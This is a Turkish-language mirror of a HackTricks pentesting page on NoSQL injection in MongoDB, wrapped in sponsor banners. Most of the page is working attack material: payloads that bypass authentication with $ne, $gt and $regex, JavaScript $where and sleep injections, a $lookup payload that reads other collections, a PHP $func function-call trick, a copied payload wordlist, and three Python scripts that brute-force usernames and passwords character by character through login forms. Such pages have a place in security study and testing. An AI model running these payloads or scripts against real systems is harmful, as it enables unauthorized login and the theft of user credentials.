mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
285 lines
13 KiB
Markdown
285 lines
13 KiB
Markdown
# NoSQL enjeksiyonu
|
||
|
||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
|
||
Bugün Erişim Alın:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'i desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
|
||
|
||
</details>
|
||
|
||
|
||
## Sömürü
|
||
|
||
PHP'de, gönderilen parametreyi _parameter=foo_ dan _parameter\[arrName]=foo_ olarak değiştirerek bir Dizi gönderebilirsiniz.
|
||
|
||
Sömürüler bir **Operatör** eklemeye dayanmaktadır:
|
||
```bash
|
||
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
||
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
||
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
|
||
username[$eq]=admin&password[$ne]=1 #<Equals>
|
||
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
|
||
username[$ne]=admin&pass[$gt]=s #<Greater Than>
|
||
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
|
||
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
|
||
```
|
||
### Temel kimlik doğrulama atlatma
|
||
|
||
**Eşit olmayan ($ne) veya büyük ($gt) kullanarak**
|
||
```bash
|
||
#in URL
|
||
username[$ne]=toto&password[$ne]=toto
|
||
username[$regex]=.*&password[$regex]=.*
|
||
username[$exists]=true&password[$exists]=true
|
||
|
||
#in JSON
|
||
{"username": {"$ne": null}, "password": {"$ne": null} }
|
||
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
|
||
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
|
||
```
|
||
### **SQL - Mongo**
|
||
|
||
MongoDB, NoSQL veritabanı türüdür. SQL enjeksiyonu gibi saldırılar için benzer teknikler kullanılabilir. Ancak, MongoDB'nin farklı bir sorgu yapısı olduğundan dolayı, NoSQL enjeksiyonu için farklı teknikler gereklidir.
|
||
```javascript
|
||
query = { $where: `this.username == '${username}'` }
|
||
```
|
||
Bir saldırgan, sorguyu bir tautoloji (`'a'=='a'`) ile karşılayarak tüm belgeleri döndüren dizesini (`admin' || 'a'=='a`) gibi girdilerle istismar edebilir. Bu, SQL enjeksiyon saldırılarına benzer, burada `' or 1=1-- -` gibi girdiler kullanılarak SQL sorguları manipüle edilir. MongoDB'de, `' || 1==1//`, `' || 1==1%00` veya `admin' || 'a'=='a` gibi girdiler kullanılarak benzer enjeksiyonlar yapılabilir.
|
||
```
|
||
Normal sql: ' or 1=1-- -
|
||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||
```
|
||
### Uzunluk bilgisini çıkarın
|
||
```bash
|
||
username[$ne]=toto&password[$regex]=.{1}
|
||
username[$ne]=toto&password[$regex]=.{3}
|
||
# True if the length equals 1,3...
|
||
```
|
||
### Veri bilgilerini **çıkarın**
|
||
```
|
||
in URL (if length == 3)
|
||
username[$ne]=toto&password[$regex]=a.{2}
|
||
username[$ne]=toto&password[$regex]=b.{2}
|
||
...
|
||
username[$ne]=toto&password[$regex]=m.{2}
|
||
username[$ne]=toto&password[$regex]=md.{1}
|
||
username[$ne]=toto&password[$regex]=mdp
|
||
|
||
username[$ne]=toto&password[$regex]=m.*
|
||
username[$ne]=toto&password[$regex]=md.*
|
||
|
||
in JSON
|
||
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
|
||
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
|
||
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
|
||
```
|
||
### **SQL - Mongo**
|
||
|
||
NoSQL enjeksiyonu, SQL enjeksiyonuna benzer şekilde çalışır, ancak NoSQL veritabanlarına yöneliktir. MongoDB gibi NoSQL veritabanları, JSON belgeleri biçiminde veri depolar. NoSQL enjeksiyonu, sorguları yanıltmak ve veritabanından istenmeyen verileri almak için kullanılabilir. Güvenlik açığı, sorguların doğru bir şekilde filtrelenmemesi veya doğru bir şekilde hazırlanmaması durumunda ortaya çıkar.
|
||
```
|
||
/?search=admin' && this.password%00 --> Check if the field password exists
|
||
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
||
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
|
||
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
|
||
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
|
||
...
|
||
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
|
||
...
|
||
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
||
```
|
||
### PHP Keyfi Fonksiyon Yürütme
|
||
|
||
Varsayılan olarak kullanılan [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesinin **$func** operatörünü kullanarak, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi keyfi bir fonksiyon yürütmek mümkün olabilir.
|
||
```python
|
||
"user":{"$func": "var_dump"}
|
||
```
|
||
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png](<../.gitbook/assets/image (468).png>)
|
||
|
||
### Farklı koleksiyondan bilgi alın
|
||
|
||
Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir jokerle eşleşen bir şifreye sahip tüm girişlerin sonuçlarını alıyoruz.
|
||
|
||
**NOT:** `$lookup` ve diğer birleştirme işlevleri, aramanın daha yaygın olan `find()` veya `findOne()` işlevleri yerine gerçekleştirilmesi için `aggregate()` işlevi kullanıldığında yalnızca mevcuttur.
|
||
```json
|
||
[
|
||
{
|
||
"$lookup":{
|
||
"from": "users",
|
||
"as":"resultado","pipeline": [
|
||
{
|
||
"$match":{
|
||
"password":{
|
||
"$regex":"^.*"
|
||
}
|
||
}
|
||
}
|
||
]
|
||
}
|
||
}
|
||
]
|
||
```
|
||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\
|
||
Bugün Erişim Alın:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## MongoDB Payloadları
|
||
|
||
[Liste buradan](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||
```
|
||
true, $where: '1 == 1'
|
||
, $where: '1 == 1'
|
||
$where: '1 == 1'
|
||
', $where: '1 == 1
|
||
1, $where: '1 == 1'
|
||
{ $ne: 1 }
|
||
', $or: [ {}, { 'a':'a
|
||
' } ], $comment:'successful MongoDB injection'
|
||
db.injection.insert({success:1});
|
||
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|
||
|| 1==1
|
||
|| 1==1//
|
||
|| 1==1%00
|
||
}, { password : /.*/ }
|
||
' && this.password.match(/.*/)//+%00
|
||
' && this.passwordzz.match(/.*/)//+%00
|
||
'%20%26%26%20this.password.match(/.*/)//+%00
|
||
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
|
||
{$gt: ''}
|
||
[$ne]=1
|
||
';sleep(5000);
|
||
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
|
||
{"username": {"$ne": null}, "password": {"$ne": null}}
|
||
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
|
||
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
|
||
{"username": {"$gt":""}, "password": {"$gt":""}}
|
||
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
|
||
```
|
||
## Kör NoSQL Betiği
|
||
```python
|
||
import requests, string
|
||
|
||
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
|
||
|
||
flag = ""
|
||
for i in range(21):
|
||
print("[i] Looking for char number "+str(i+1))
|
||
for char in alphabet:
|
||
r = requests.get("http://chall.com?param=^"+flag+char)
|
||
if ("<TRUE>" in r.text):
|
||
flag += char
|
||
print("[+] Flag: "+flag)
|
||
break
|
||
```
|
||
|
||
```python
|
||
import requests
|
||
import urllib3
|
||
import string
|
||
import urllib
|
||
urllib3.disable_warnings()
|
||
|
||
username="admin"
|
||
password=""
|
||
|
||
while True:
|
||
for c in string.printable:
|
||
if c not in ['*','+','.','?','|']:
|
||
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
|
||
r = requests.post(u, data = {'ids': payload}, verify = False)
|
||
if 'OK' in r.text:
|
||
print("Found one more char : %s" % (password+c))
|
||
password += c
|
||
```
|
||
### POST loginından kullanıcı adlarını ve şifreleri kaba kuvvet yöntemiyle deneyin
|
||
|
||
Bu, değiştirebileceğiniz basit bir betiktir, ancak önceki araçlar da bu görevi yerine getirebilir.
|
||
```python
|
||
import requests
|
||
import string
|
||
|
||
url = "http://example.com"
|
||
headers = {"Host": "exmaple.com"}
|
||
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
|
||
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
|
||
def get_password(username):
|
||
print("Extracting password of "+username)
|
||
params = {"username":username, "password[$regex]":"", "login": "login"}
|
||
password = "^"
|
||
while True:
|
||
for c in possible_chars:
|
||
params["password[$regex]"] = password + c + ".*"
|
||
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
|
||
if int(pr.status_code) == 302:
|
||
password += c
|
||
break
|
||
if c == possible_chars[-1]:
|
||
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
|
||
return password[1:].replace("\\", "")
|
||
|
||
def get_usernames(prefix):
|
||
usernames = []
|
||
params = {"username[$regex]":"", "password[$regex]":".*"}
|
||
for c in possible_chars:
|
||
username = "^" + prefix + c
|
||
params["username[$regex]"] = username + ".*"
|
||
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
|
||
if int(pr.status_code) == 302:
|
||
print(username)
|
||
for user in get_usernames(prefix + c):
|
||
usernames.append(user)
|
||
return usernames
|
||
|
||
for u in get_usernames(""):
|
||
get_password(u)
|
||
```
|
||
## Araçlar
|
||
|
||
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
|
||
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
|
||
|
||
## Referanslar
|
||
|
||
* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
|
||
* [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
||
* [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
|
||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
|
||
Bugün Erişim Alın:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|